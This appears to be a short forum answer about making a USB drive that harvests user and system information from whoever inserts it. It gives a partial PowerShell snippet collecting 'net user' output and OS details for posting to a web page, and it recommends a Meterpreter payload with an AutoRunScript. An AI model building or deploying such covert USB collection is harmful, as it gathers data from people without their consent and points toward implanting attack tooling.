the catch here is that I have to only get only the (non damaging) info of the computer/user who inserts the USB and not directly access their system
By this i understand you only want some sysinfo, not actual credentials.
Powershell script for posting the info to a page:
$userinfo = net user
$sysinfo = Get-CimInstance Win32_OperatingSystem
$Text = $sysinfo + $userinfo
$Bytes = [System.Text.Encoding]::Unicode.GetBytes($Text)
Please keep in mind there are some limitations around the execution policy. I think a much more robust solution would be a Meterpreter with an AutoRunScript that gathers the users info and immediately exits.
Modern computer also don't automatically run the autorun.inf anymore, you are probably going to need some user interaction.